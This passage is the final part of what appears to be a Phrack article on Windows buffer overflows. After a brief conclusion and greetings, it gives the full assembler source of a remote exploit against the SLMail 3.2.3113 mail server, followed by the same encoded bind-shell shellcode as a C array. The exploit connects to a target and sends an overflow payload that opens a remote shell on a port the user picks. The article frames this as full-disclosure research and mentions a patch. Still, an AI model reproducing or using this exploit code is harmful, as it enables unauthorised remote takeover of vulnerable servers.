  1602. The binary for this quick patch will be available at http://www.beavuh.org, 
  1603. although, a vendor patch is seriously recommended.
  1604.  
  1605. This will prevent break-ins from the exploit that accompanies this paper,
  1606. but there are far too many exploitable holes in this software - and no
  1607. doubt after reading this other exploits are in the works.
  1608.  
  1609.  
  1610. Conclusion.
  1611. ~~~~~~~~~~~
  1612.  
  1613. Windows 9x/NT has a had a relatively easy ride as far as buffer overflows go -
  1614. a change is coming.  Although some "big" software has been affected as of
  1615. late, the limitations of the payload and the system dependency limited the
  1616. wide-scale fear.
  1617.  
  1618. It's time to recognize.
  1619.  
  1620. The fact that I picked on 3rd party software for this article, rather than
  1621. hitting the giant itself, is not because of lack of opportunities - trust
  1622. me, there is a lot hiding behind the bloat.
  1623.  
  1624. Navigate the code, work those registers, and you'll come up trumps -
  1625. guaranteed.
  1626.  
  1627. Fight those who try to outlaw our methods, support the open source
  1628. movement, and support full disclosure - it is a good thing.
  1629.  
  1630.  
  1631. "One future.  Two choices.  Oppose them or let them destroy us."
  1632.  
  1633. -Propagandhi.
  1634.  
  1635.  
  1636. Greets and thanks.
  1637. ~~~~~~~~~~~~~~~~~~
  1638.  
  1639. neophyte, Greg Hoglund, c33, sacX, tree, casper, ripper, ryan, luny,
  1640. sycotic, blitz, marc, Interrupt, ambient empire, DilDog, the beavuh &
  1641. mulysa crew, the eEye team, the rootkit crew, attrition, w00w00, L0pht,
  1642. ADM, Phrack, Security Focus, technotronic, HNN, Packet Storm Security.. 
  1643. and everyone else I forgot.
  1644.  
  1645.  
  1646. The Code.
  1647. ~~~~~~~~~
  1648.  
  1649. The assembler source code follows, and the shellcode for the exploit in c
  1650. format if anyone wishes to port.
  1651.  
  1652. <++> P55/Win32-overflows/slxploit.asm !e7b4ebd0
  1653. ;-------(code)-------------------------------------------------------------
  1654.  
  1655. ; This is just a shell from an old exploit of mine, so the code is somewhat 
  1656. ; dodgy - and no real error checking.
  1657. ; Live with it.
  1658. ;
  1659. ; The binary is available at http://www.beavuh.org.
  1660. ;
  1661. ; To assemble:
  1662. ;
  1663. ; tasm32 -ml slxploit.asm
  1664. ; tlink32 -Tpe -c -x sxlploit.obj ,,, import32
  1665. ;
  1666. ; TASM 5 required!
  1667. ;
  1668. ; dark spyrit / barnaby jack <dspyrit@beavuh.org>
  1669.  
  1670.  
  1671. .386p
  1672. locals
  1673. jumps
  1674. .model flat, stdcall
  1675.  
  1676.  
  1677. extrn GetCommandLineA:PROC
  1678. extrn GetStdHandle:PROC
  1679. extrn WriteConsoleA:PROC
  1680. extrn ExitProcess:PROC
  1681. extrn WSAStartup:PROC
  1682. extrn connect:PROC
  1683. extrn send:PROC
  1684. extrn recv:PROC
  1685. extrn WSACleanup:PROC
  1686. extrn gethostbyname:PROC
  1687. extrn htons:PROC
  1688. extrn socket:PROC
  1689. extrn inet_addr:PROC
  1690. extrn closesocket:PROC
  1691.  
  1692. .data
  1693. sploit_length           equ     851
  1694.  
  1695. sploit:
  1696.  db 065h, 078h, 070h, 06eh, 020h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1697.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1698.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1699.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1700.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1701.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1702.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1703.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1704.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1705.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1706.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1707.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1708.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1709.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1710.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1711.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1712.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1713.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1714.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1715.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1716.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1717.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1718.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1719.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1720.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  1721.  db 090h, 090h, 0ebh, 007h, 090h, 0aah, 01ch, 09ch, 077h, 090h, 090h, 090h
  1722.  db 033h, 0c0h, 050h, 0f7h, 0d0h, 050h, 059h, 0f2h, 0afh, 059h, 0b1h, 0c6h
  1723.  db 08bh, 0c7h, 048h, 080h, 030h, 099h, 0e2h, 0fah, 033h, 0f6h, 096h, 0bbh
  1724.  db 099h, 010h, 011h, 044h, 0c1h, 0ebh, 008h, 056h, 0ffh, 013h, 08bh, 0d0h
  1725.  db 0fch, 033h, 0c9h, 0b1h, 00bh, 049h, 032h, 0c0h, 0ach, 084h, 0c0h, 075h
  1726.  db 0f9h, 052h, 051h, 056h, 052h, 0b3h, 00ch, 0ffh, 013h, 0abh, 059h, 05ah
  1727.  db 0e2h, 0ech, 032h, 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 0b3h, 010h, 056h
  1728.  db 0ffh, 013h, 08bh, 0d0h, 0fch, 033h, 0c9h, 0b1h, 006h, 032h, 0c0h, 0ach
  1729.  db 084h, 0c0h, 075h, 0f9h, 052h, 051h, 056h, 052h, 0b3h, 00ch, 0ffh, 013h
  1730.  db 0abh, 059h, 05ah, 0e2h, 0ech, 083h, 0c6h, 005h, 033h, 0c0h, 050h, 040h
  1731.  db 050h, 040h, 050h, 0ffh, 057h, 0e8h, 093h, 06ah, 010h, 056h, 053h, 0ffh
  1732.  db 057h, 0ech, 06ah, 002h, 053h, 0ffh, 057h, 0f0h, 033h, 0c0h, 057h, 050h
  1733.  db 0b0h, 00ch, 0abh, 058h, 0abh, 040h, 0abh, 05fh, 048h, 050h, 057h, 056h
  1734.  db 0adh, 056h, 0ffh, 057h, 0c0h, 048h, 050h, 057h, 0adh, 056h, 0adh, 056h
  1735.  db 0ffh, 057h, 0c0h, 048h, 0b0h, 044h, 089h, 007h, 057h, 0ffh, 057h, 0c4h
  1736.  db 033h, 0c0h, 08bh, 046h, 0f4h, 089h, 047h, 03ch, 089h, 047h, 040h, 08bh
  1737.  db 006h, 089h, 047h, 038h, 033h, 0c0h, 066h, 0b8h, 001h, 001h, 089h, 047h
  1738.  db 02ch, 057h, 057h, 033h, 0c0h, 050h, 050h, 050h, 040h, 050h, 048h, 050h
  1739.  db 050h, 0adh, 056h, 033h, 0c0h, 050h, 0ffh, 057h, 0c8h, 0ffh, 076h, 0f0h
  1740.  db 0ffh, 057h, 0cch, 0ffh, 076h, 0fch, 0ffh, 057h, 0cch, 048h, 050h, 050h
  1741.  db 053h, 0ffh, 057h, 0f4h, 08bh, 0d8h, 033h, 0c0h, 0b4h, 004h, 050h, 0c1h
  1742.  db 0e8h, 004h, 050h, 0ffh, 057h, 0d4h, 08bh, 0f0h, 033h, 0c0h, 08bh, 0c8h
  1743.  db 0b5h, 004h, 050h, 050h, 057h, 051h, 050h, 0ffh, 077h, 0a8h, 0ffh, 057h
  1744.  db 0d0h, 083h, 03fh, 001h, 07ch, 022h, 033h, 0c0h, 050h, 057h, 0ffh, 037h
  1745.  db 056h, 0ffh, 077h, 0a8h, 0ffh, 057h, 0dch, 00bh, 0c0h, 074h, 02fh, 033h
  1746.  db 0c0h, 050h, 0ffh, 037h, 056h, 053h, 0ffh, 057h, 0f8h, 06ah, 050h, 0ffh
  1747.  db 057h, 0e0h, 0ebh, 0c8h, 033h, 0c0h, 050h, 0b4h, 004h, 050h, 056h, 053h
  1748.  db 0ffh, 057h, 0fch, 057h, 033h, 0c9h, 051h, 050h, 056h, 0ffh, 077h, 0ach
  1749.  db 0ffh, 057h, 0d8h, 06ah, 050h, 0ffh, 057h, 0e0h, 0ebh, 0aah, 050h, 0ffh
  1750.  db 057h, 0e4h, 090h, 0d2h, 0dch, 0cbh, 0d7h, 0dch, 0d5h, 0aah, 0abh, 099h
  1751.  db 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh
  1752.  db 0fch, 0edh, 0cah, 0edh, 0f8h, 0ebh, 0edh, 0ech, 0e9h, 0d0h, 0f7h, 0ffh
  1753.  db 0f6h, 0d8h, 099h, 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0ebh, 0f6h
  1754.  db 0fah, 0fch, 0eah, 0eah, 0d8h, 099h, 0dah, 0f5h, 0f6h, 0eah, 0fch, 0d1h
  1755.  db 0f8h, 0f7h, 0fdh, 0f5h, 0fch, 099h, 0c9h, 0fch, 0fch, 0f2h, 0d7h, 0f8h
  1756.  db 0f4h, 0fch, 0fdh, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh, 0f5h, 0f6h, 0fbh
  1757.  db 0f8h, 0f5h, 0d8h, 0f5h, 0f5h, 0f6h, 0fah, 099h, 0ceh, 0ebh, 0f0h, 0edh
  1758.  db 0fch, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cbh, 0fch, 0f8h, 0fdh, 0dfh, 0f0h
  1759.  db 0f5h, 0fch, 099h, 0cah, 0f5h, 0fch, 0fch, 0e9h, 099h, 0dch, 0e1h, 0f0h
  1760.  db 0edh, 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 099h, 0ceh, 0cah, 0d6h
  1761.  db 0dah, 0d2h, 0aah, 0abh, 099h, 0eah, 0f6h, 0fah, 0f2h, 0fch, 0edh, 099h
  1762.  db 0fbh, 0f0h, 0f7h, 0fdh, 099h, 0f5h, 0f0h, 0eah, 0edh, 0fch, 0f7h, 099h
  1763.  db 0f8h, 0fah, 0fah, 0fch, 0e9h, 0edh, 099h, 0eah, 0fch, 0f7h, 0fdh, 099h
  1764.  db 0ebh, 0fch, 0fah, 0efh, 099h, 09bh, 099h 
  1765.  store dw ? 
  1766.  db 099h, 099h, 099h
  1767.  db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 0fah, 0f4h, 0fdh
  1768.  db 0b7h, 0fch, 0e1h, 0fch, 099h, 0ffh, 0ffh, 0ffh, 0ffh, 00dh, 00ah  
  1769.  
  1770. logo  db "SLMail (3.2.3113) remote.", 13, 10
  1771.       db "by dark spyrit aka Barnaby Jack <dspyrit@beavuh.org>",13,10,13,10
  1772.       db "usage: slxploit <host> <port> <port to bind shell>", 13, 10
  1773.       db "eg - slxploit host.com 27 1234",13,10,0
  1774.       logolen equ $-logo
  1775.  
  1776.  
  1777. errorinit db 10,"error initializing winsock.", 13, 10, 0
  1778. errorinitl equ $-errorinit
  1779.  
  1780. derror  db 10,"error.",13,10,0
  1781. derrorl equ $-derror
  1782.  
  1783. nohost db 10,"no host or ip specified.", 13,10,0
  1784. nohostl equ $-nohost
  1785.  
  1786. noport db 10,"no port specified.",13,10,0
  1787. noportl equ $-noport
  1788.  
  1789. no_port2 db 10,"no bind port specified.",13,10,0
  1790. no_port2l equ $-no_port2
  1791.  
  1792. response db 10,"waiting for response....",13,10,0
  1793. respl   equ $-response
  1794.  
  1795. reshost db 10,"error resolving host.",13,10,0
  1796. reshostl equ $-reshost
  1797.  
  1798. sockerr db 10,"error creating socket.",13,10,0
  1799. sockerrl equ $-sockerr
  1800.  
  1801. ipill   db 10,"ip error.",13,10,0
  1802. ipilll   equ $-ipill
  1803.  
  1804. cnerror db 10,"error establishing connection.",13,10,0
  1805. cnerrorl equ $-cnerror
  1806.  
  1807. success db 10,"sent.. spawn connection now.",13,10,0
  1808. successl equ $-success
  1809.  
  1810. console_in      dd      ?
  1811. console_out     dd      ?
  1812. bytes_read      dd      ?
  1813.  
  1814. wsadescription_len equ 256
  1815. wsasys_status_len equ 128
  1816.  
  1817. WSAdata struct
  1818. wVersion dw ?
  1819. wHighVersion dw ?
  1820. szDescription db wsadescription_len+1 dup (?)
  1821. szSystemStatus db wsasys_status_len+1 dup (?)
  1822. iMaxSockets dw ?
  1823. iMaxUdpDg dw ?
  1824. lpVendorInfo dw ?
  1825. WSAdata ends
  1826.  
  1827. sockaddr_in struct
  1828. sin_family dw ?
  1829. sin_port dw ?
  1830. sin_addr dd ?
  1831. sin_zero db 8 dup (0)
  1832. sockaddr_in ends
  1833.  
  1834. wsadata WSAdata <?>
  1835. sin sockaddr_in <?>
  1836. sock dd ?
  1837. numbase dd 10
  1838. _port db 256 dup (?)
  1839. _host db 256 dup (?)
  1840. _port2 db 256 dup (?)
  1841. buffer db 1000 dup (0)
  1842.  
  1843. .code
  1844. start:
  1845.  
  1846.     call    init_console
  1847.     push    logolen
  1848.     push    offset logo
  1849.     call    write_console
  1850.  
  1851.     call    GetCommandLineA
  1852.     mov     edi, eax
  1853.     mov     ecx, -1
  1854.     xor     al, al
  1855.     push    edi
  1856.     repnz   scasb
  1857.     not     ecx
  1858.     pop     edi
  1859.     mov     al, 20h
  1860.     repnz   scasb
  1861.     dec     ecx
  1862.     cmp     ch, 0ffh
  1863.     jz      @@0
  1864.     test    ecx, ecx
  1865.     jnz     @@1
  1866. @@0:        
  1867.     push    nohostl
  1868.     push    offset nohost
  1869.     call    write_console
  1870.     jmp     quit3
  1871. @@1:
  1872.     mov     esi, edi
  1873.     lea     edi, _host
  1874.     call    parse
  1875.     or      ecx, ecx
  1876.     jnz     @@2
  1877.     push    noportl
  1878.     push    offset noport
  1879.     call    write_console
  1880.     jmp     quit3
  1881. @@2:
  1882.     lea     edi, _port
  1883.     call    parse
  1884.     or      ecx, ecx
  1885.     jnz     @@3
  1886.     push    no_port2l
  1887.     push    offset no_port2
  1888.     call    write_console
  1889.     jmp     quit3
  1890.  
  1891. @@3:
  1892.     push    ecx
  1893.     lea     edi, _port2
  1894.     call    parse
  1895.  
  1896.     push    offset wsadata
  1897.     push    0101h
  1898.     call    WSAStartup
  1899.     or      eax, eax
  1900.     jz      winsock_found
  1901.  
  1902.     push    errorinitl
  1903.     push    offset errorinit
  1904.     call    write_console
  1905.     jmp     quit3
  1906.  
  1907. winsock_found:
  1908.     xor     eax, eax
  1909.     push    eax
  1910.     inc     eax
  1911.     push    eax
  1912.     inc     eax
  1913.     push    eax
  1914.     call    socket
  1915.     cmp     eax, -1
  1916.     jnz     socket_ok
  1917.  
  1918.     push    sockerrl
  1919.     push    offset sockerr
  1920.     call    write_console
  1921.     jmp     quit2
  1922.  
  1923. socket_ok:
  1924.     mov     sock, eax
  1925.     mov     sin.sin_family, 2
  1926.     
  1927.     mov     ebx, offset _port
  1928.     call    str2num
  1929.     mov     eax, edx
  1930.     push    eax
  1931.     call    htons
  1932.     mov     sin.sin_port, ax
  1933.     
  1934.     mov     ebx, offset _port2
  1935.     call    str2num
  1936.     mov     eax, edx
  1937.     push    eax
  1938.     call    htons
  1939.     xor     ax, 09999h
  1940.     mov     store, ax
  1941.  
  1942.     mov     esi, offset _host
  1943. lewp:
  1944.     xor     al, al
  1945.     lodsb
  1946.     cmp     al, 039h
  1947.     ja      gethost
  1948.     test    al, al
  1949.     jnz     lewp
  1950.     push    offset _host
  1951.     call    inet_addr
  1952.     cmp     eax, -1
  1953.     jnz     ip_aight
  1954.     push    ipilll
  1955.     push    offset ipill
  1956.     call    write_console
  1957.     jmp     quit1
  1958.  
  1959. ip_aight:
  1960.     mov     sin.sin_addr, eax
  1961.     jmp     continue
  1962.  
  1963. gethost:
  1964.     push    offset _host
  1965.     call    gethostbyname
  1966.     test    eax, eax
  1967.     jnz     gothost
  1968.  
  1969.     push    reshostl
  1970.     push    offset reshost
  1971.     call    write_console
  1972.     jmp     quit1
  1973.  
  1974. gothost:
  1975.     mov     eax, [eax+0ch]
  1976.     mov     eax, [eax]
  1977.     mov     eax, [eax]
  1978.     mov     sin.sin_addr, eax
  1979.  
  1980. continue:
  1981.     push    size sin
  1982.     push    offset sin
  1983.     push    sock
  1984.     call    connect
  1985.     or      eax, eax
  1986.     jz      connect_ok
  1987.     push    cnerrorl
  1988.     push    offset cnerror
  1989.     call    write_console
  1990.     jmp     quit1
  1991.  
  1992. connect_ok:
  1993.     push    respl
  1994.     push    offset response
  1995.     call    write_console
  1996.     
  1997.     xor     eax, eax
  1998.     push    eax
  1999.     push    1000
  2000.     push    offset buffer
  2001.     push    sock
  2002.     call    recv
  2003.     or      eax, eax
  2004.     jg      sveet
  2005.  
  2006.     push    derrorl        
  2007.     push    offset derror
  2008.     call    write_console
  2009.     jmp     quit1
  2010.  
  2011. sveet:        
  2012.     push    eax
  2013.     push    offset buffer
  2014.     call    write_console
  2015.  
  2016.     xor     eax, eax
  2017.     push    eax
  2018.     push    sploit_length
  2019.     push    offset sploit
  2020.     push    sock
  2021.     call    send
  2022.     push    successl
  2023.     push    offset success
  2024.     call    write_console
  2025.  
  2026. quit1:
  2027.     push    sock
  2028.     call    closesocket
  2029. quit2:
  2030.     call    WSACleanup
  2031. quit3:
  2032.     push    0
  2033.     call    ExitProcess
  2034. parse   proc
  2035. ;cheap parsing.. 
  2036. lewp9:
  2037.     xor     eax, eax
  2038.     cld
  2039.     lodsb
  2040.     cmp     al, 20h
  2041.     jz      done
  2042.     test    al, al
  2043.     jz      done2
  2044.     stosb
  2045.     dec     ecx
  2046.     jmp     lewp9
  2047. done:
  2048.     dec     ecx
  2049. done2:
  2050.     ret
  2051. endp
  2052.  
  2053. str2num proc
  2054.     push    eax ecx edi
  2055.     xor     eax, eax
  2056.     xor     ecx, ecx
  2057.     xor     edx, edx
  2058.     xor     edi, edi
  2059. lewp2:
  2060.     xor     al, al
  2061.     xlat
  2062.     test    al, al
  2063.     jz      end_it
  2064.     sub     al, 030h
  2065.     mov     cl, al
  2066.     mov     eax, edx
  2067.     mul     numbase
  2068.     add     eax, ecx
  2069.     mov     edx, eax
  2070.     inc     ebx
  2071.     inc     edi
  2072.     cmp     edi, 0ah
  2073.     jnz     lewp2
  2074.  
  2075. end_it:
  2076.     pop     edi ecx eax
  2077.     ret
  2078. endp
  2079.  
  2080. init_console  proc
  2081.     push    -10
  2082.     call    GetStdHandle
  2083.     or      eax, eax
  2084.     je      init_error
  2085.     mov     [console_in], eax
  2086.     push    -11
  2087.     call    GetStdHandle
  2088.     or      eax, eax
  2089.     je      init_error
  2090.     mov     [console_out], eax
  2091.     ret
  2092. init_error:
  2093.     push    0
  2094.     call    ExitProcess
  2095. endp
  2096.  
  2097. write_console proc    text_out:dword, text_len:dword
  2098.     pusha
  2099.     push    0
  2100.     push    offset bytes_read 
  2101.     push    text_len          
  2102.     push    text_out          
  2103.     push    console_out       
  2104.     call    WriteConsoleA
  2105.     popa
  2106.     ret
  2107. endp
  2108.  
  2109. end     start
  2110.  
  2111. ;--(code ends)------------------------------------------------------------
  2112. <-->
  2113. Here is the shellcode in c format:
  2114.  
  2115. <++> P55/Win32-overflows/slxploit-shellcode.c !f4bcdaf5
  2116. #define sploit_length 851
  2117.  
  2118. unsigned char sploit[851] = {
  2119.   0x65, 0x78, 0x70, 0x6e, 0x20, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2120.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2121.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2122.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2123.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2124.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2125.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2126.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2127.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2128.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2129.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2130.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2131.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2132.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2133.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2134.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2135.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2136.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2137.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2138.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2139.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2140.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2141.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2142.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2143.   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  2144.   0x90, 0x90, 0xeb, 0x07, 0x90, 0xaa, 0x1c, 0x9c, 0x77, 0x90, 0x90, 0x90,
  2145.   0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
  2146.   0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
  2147.   0x99, 0x10, 0x11, 0x44, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
  2148.   0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
  2149.   0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0x0c, 0xff, 0x13, 0xab, 0x59, 0x5a,
  2150.   0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0x10, 0x56,
  2151.   0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
  2152.   0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0x0c, 0xff, 0x13,
  2153.   0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
  2154.   0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
  2155.   0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
  2156.   0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
  2157.   0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
  2158.   0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
  2159.   0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
  2160.   0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
  2161.   0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
  2162.   0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
  2163.   0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
  2164.   0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
  2165.   0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
  2166.   0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x50, 0xff, 0x77, 0xa8, 0xff, 0x57,
  2167.   0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
  2168.   0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
  2169.   0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
  2170.   0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
  2171.   0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
  2172.   0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
  2173.   0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
  2174.   0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
  2175.   0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
  2176.   0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
  2177.   0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
  2178.   0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
  2179.   0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
  2180.   0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
  2181.   0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
  2182.   0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
  2183.   0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
  2184.   0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
  2185.   0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
  2186.   0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
  2187.   0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99, 
  2188.   0x00, 0x00, // word value for bind port, client must mod and XOR with 0x99
